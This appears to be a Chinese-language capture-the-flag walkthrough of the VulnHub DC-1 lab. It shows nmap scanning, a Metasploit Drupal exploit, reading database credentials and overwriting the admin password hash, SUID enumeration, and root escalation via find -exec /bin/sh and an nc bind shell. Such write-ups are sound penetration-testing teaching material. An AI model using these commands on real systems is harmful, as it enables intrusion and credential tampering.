基于vulnhub的DC-1靶机的渗透测试
实验准备
靶机下载:https://www.vulnhub.com/entry/dc-1,292/
DC1需要找到5个flag,最终目标是在root的主目录中找到并读取该标志!
kali要桥接

信息收集
查看kali的IP

发现IP为
192.168.1.101 |
使用nmap扫描靶机IP

其中192.168.1.107是我本机IP,则靶机可能的IP为
192.168.1.102 |
接下来ping测试

发现192.168.1.103和192.168.1.106ping不通,则靶机ip为
192.168.1.102 |
继续查看端口开放状态
nmap -sC -sV 192.168.1.102 -p- --min-rate=2000 -n -vv |


发现开放了22端口(ssh),80端口(http),111和60431端口,并且采用的是Drupal 7框架,有个robots.txt
边界突破
访问网站

判断为动态网站
查看robots.txt

没有发现有用的信息
目录扫描
dirb http://192.168.1.102 |

发现几个可疑目录
admin,root,user,/includes/Root,访问后如下

使用Metasploit framework搜索Drupal
search Drupal |

尝试利用第一个
use exploit/unix/webapp/drupal_coder_exec |

接下来需要配置rhost,如果第一次使用可能需还要配置lhost和lport,即监听机的ip和端口

然后exploit 或者 run

发现失败了
尝试第二个,发现成功

执行命令shell命令获得shell

使用python反弹shell,获得更好的交互体验
python -c 'import pty;pty.spawn("/bin/bash")' |

使用ls查看当前目录下文件

发现有个flag1.txt文件,使用cat命令查看

flag1:“每一个好的内容管理系统 都需要一个配置文件”——配置文件里面肯定有东西
进入sites/dafault,发现有个settings.php

查看settings.php

发现flag2
flag2 |
同时发现数据库的库名(drupaldb),用户名(dbuser)和密码(R0ck3t)

尝试登录数据库
mysql -udbuser -pR0ck3t |

查询users表
select * from users; |

发现有两个用户admin和Fred,但密码经过加密

退出数据库,尝试修改admin的密码
cd /var/www/ |

得到’123’哈希加密后的密码
$S$D0jEFt4XLx.7zA5.tCIDN2GBMsL2W6jtMxr6fE7Lt/Mct6ctCkqD |
进入数据库,修改admin密码
mysql -udbuser -pR0ck3t |

此时查看users表
select * from users; |
可见admin的密码已经修改为123哈希加密后的密码

登录网站后台

登录成功

点击Find content

发现flag3,点击edit查看

得到flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow. |

find / -type f -perm -u=s 2>/dev/null |

未发现有用的信息,查看/etc/passwd
cat /etc/passwd |
发现有个flag4的用户

进入flag4目录,发现有个flag4.txt,查看得到flag4

flag4
Can you use this same method to find or access the flag in root? |
接下来尝试获取最终flag
方法一:
find ./ aaa -exec '/bin/sh' \; |
得到root权限

方法二:
find flag4.txt -exec nc -lvp 2333 -e /bin/sh \; |


查看/root目录

得到thefinalflag